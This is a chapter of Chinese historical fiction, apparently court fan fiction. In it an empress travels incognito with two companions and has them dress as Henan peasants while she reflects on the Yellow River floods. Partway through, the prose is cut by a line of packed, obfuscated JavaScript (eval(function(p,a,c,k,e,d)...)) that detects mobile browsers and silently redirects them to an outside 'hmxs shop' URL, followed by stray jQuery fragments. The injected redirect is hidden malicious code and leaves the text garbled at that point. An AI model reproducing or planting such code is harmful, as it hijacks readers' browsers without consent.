一路南下，车马劳顿。仪仗卤簿早已在出京后不久便按计划分道扬镳，大张旗鼓地前往泰山方向，以掩人耳目。我们一行真正的人马，不过两辆不起眼的青篷骡车，数名扮作镖师、家丁的粘杆处精锐，以及我和剪秋、沈眉庄三人。太医和医女则扮作随行的药师与粗使婆子。一切从简，除了必要的银钱、文书和几身换洗衣物，再无长物。


    越往南行，景致与京畿渐有不同，市井气息也愈发浓郁。但进入河南地界后，那种弥漫在空气中的、厚重的农耕气息与隐隐的疲敝感，便扑面而来。道路两旁是无垠的田畴，时值初夏，麦子已抽穗，绿中泛黄，长势看着倒还凑合，但田间劳作的农人，大多面有菜色，衣衫褴褛者甚众。村落房屋，也多是低矮的土坯茅舍，鲜见齐整的砖瓦院落。


    这日，已近开封府地界。我在骡车中估算着行程，吩咐在前方寻一处僻静无人的小树林暂歇。车停稳后，我没有如往常般下车透气，而是从随身的包袱里，取出三套截然不同的衣服。


    那是三套灰扑扑、毫无修饰的粗麻布衣裤，浆洗得发硬，甚至带着一股陈旧的、混合着汗味与尘土的气味。样式是最简单的交领右衽，肥大不合身，颜色是那种混浊的、未经染好的灰褐色。与之配套的，是三双磨得有些发毛的草鞋。


    “换上这个。”我将衣服递给一脸错愕的剪秋和沈眉庄，自己率先动手，解下身上那套虽然料子普通、颜色素净，但裁剪合体、针脚细密的“落魄官眷”衣裙。


    沈眉庄接过那粗糙扎手的麻衣，指尖摩挲着那粗砺的质感，又看看我身上那套至少是细棉布的衣服，终于忍不住低声问道：“姐姐，咱们身上这衣裳，在京里看来已是极寻常甚至寒酸的了，为何到了此地，反而要换这等……这等简直像是田间村妇所穿的衣物？这……未免太过委屈姐姐了。”


    剪秋也皱着眉，拎起那件散发着异味的麻衣，满脸不赞同：“是啊，娘娘……呃，姐姐，咱们虽说要低调，可这也……太过了一些。奴婢……我是说，我早年听老苏……听家里老人提过，河南乃是中原腹地，产粮大省，赋税重地，纵然不比江南富庶，总不至于……穿咱们先前那身，就算显贵吧？”


    我已经利落地换上了麻布衣裤，那粗糙的布料摩擦着皮肤，确实颇为不适。又褪去柔软的布袜，将双脚套进那硬邦邦、略有些扎脚的草鞋里，原地踩了踩。听到她们的话，我系衣带的手顿了顿，抬眼看向她们，目光沉静，却带着一种穿透表象的锐利。


    “你们啊，在宫里待久了，所见所感，终究隔了一层。”我一边将换下的衣服仔细叠好收起，一边缓缓道，“只知河南产粮，是赋税重地，这不错。但正因它产粮，说明此地十之八九都是面朝黄土背朝天的农户。真正的富户、缙绅，能有几何？且多半聚居城内，彼此相识。咱们若穿着虽普通但整洁的细棉衣裳进城，在真正穷苦的农人、贩夫走卒眼里，便已是‘体面人’，是‘外来客’，难免引人侧目，打听提防。而这身……”


    我指了指身上的麻衣：“是出发前，我让粘杆处那个绰号‘黑二’的河南籍侍卫，特意去他老家村里寻来的、真正的农户日常所穿。式样、料子、甚至这气味，都是本地最常见的。咱们换上这个，混入进城卖菜、贩柴、打短工的农人之中，便如滴水入海，再不起眼。”


    看着她们依旧有些不解的神情，我走到车边，撩开一线帘子，指着远处在田埂上蹒跚而行、背着沉重柴捆的一个佝偻身影，以及更远处土墙茅檐、炊烟稀落的村庄。


    “你们再看这河南，除了‘产粮’，可还想到别的？”我放下车帘，转身看向她们，语气低沉下来，“临行前，我让你们多翻翻史书，尤其是河渠志、五行志。你们可曾留意，那史书上关于河南，写得最多、最触目惊心的是什么？”


    沈眉庄凝神思索，剪秋也努力回忆。沈眉庄忽然低呼一声，脸色微微发白：“黄河！是黄河水患、改道！”


    “不错。”我赞许地看了她一眼，心中却也泛起一丝沉重，“‘黄河百害，唯富一套’？那是哄人的。对于河南，黄河是悬在头顶的利剑，是刻在骨子里的殇。自夏商周至本朝，大河决口、改道无数次，其中大半灾难，都落在这中原腹地。每一次决口，便是千里泽国，田庐尽毁，人畜漂没；每一次改道，更是沧桑巨变，生灵涂炭。你们算算，这片土地上的百姓，祖祖辈辈，被这黄河折腾了多少回？攒下的一点家业，一场大水便可能付诸东流。朝廷虽有赈济，但杯水车薪，且层层盘剥，到百姓手中还剩几何？所谓‘产粮大省’，很多时候，粮是产了，却未必能安稳地吃进自己肚子里，更多的，是化作漕粮，通过运河，千里迢迢运往京城，供养朝廷百官、八旗子弟。”


    我走到她们面前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963315|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，拿起那套麻衣，塞进剪秋手里，又拿起另一套递给沈眉庄，声音不高，却字字清晰：“所以，在这里，咱们身上原本那套你们觉得‘寒酸’的棉布衣服，在真正终年劳作、朝不保夕的农户看来，可能就是他们一年到头也攒不出钱来置办一身的‘好衣裳’。咱们脚上那双虽旧却软的布鞋，可能是他们只有过年或出门做客才舍得穿的‘体面’。咱们若以那身行头踏入市井，去酒肆茶楼打听消息，或许能听到些经过粉饰的‘太平景象’；但若想看到这开封府、这河南真实的模样，听到田间老农、街头脚夫、河边纤夫嘴里最真实的话，就必须先变成他们的一员，至少，看起来像。”


    剪秋和沈眉庄看着手中粗糙扎手的衣物，又透过车帘缝隙望了望外面那片沉默而厚重的土地，终于彻底明白了我的用意。脸上的抵触与为难渐渐被一种肃然和决心取代。她们对视一眼，咬了咬牙。


    “姐姐说的是，是咱们想岔了。”沈眉庄率先开口，声音坚定起来，“既是要看真实民生，自然不能隔着帘子看。这衣服……我穿。”


    “我也穿。”剪秋也重重点头，脸上露出一丝豁出去的神色，“忍一时罢了，总好过走马观花，白来一趟。”


    “这就对了。”我颔首，“不过先不急，咱们就在这林子里稍歇片刻。这粗麻布料磨人，草鞋也硌脚，咱们先适应一会儿，免得待会儿走路露出破绽。时辰还早，等日头再偏西些，趁傍晚城门人杂时再进城。”


    我们三人就在这僻静的林间空地，默默换上这身与往日天差地别的行头。粗糙的麻布摩擦着娇嫩的肌肤，带来阵阵刺痒不适；草鞋粗糙，脚底很快便觉得酸痛。但谁也没有抱怨，只是静静地坐着，尝试着让身体去习惯这种截然不同的触感，也让心神，慢慢从“皇后”、“贵人”、“掌事姑姑”的躯壳中抽离，努力将自己代入那即将扮演的、属于这片多难土地上的贫苦农妇角色。


    林间偶尔有鸟雀啁啾，微风穿过树叶，带来远处田野的气息和隐约的、浑浊的河水味道。那是黄河的气息，沉默，厚重，却仿佛蕴藏着无数悲欢与故事。


    我望向开封城的方向，那里曾是大宋的东京汴梁，是《清明上河图》里的繁华梦。而今，在这雍正朝的天空下，不知又是怎样一番光景？换上这身粗衣草履，我们才能真正走进那幅真实的、或许早已褪色的“河洛民生图”中去。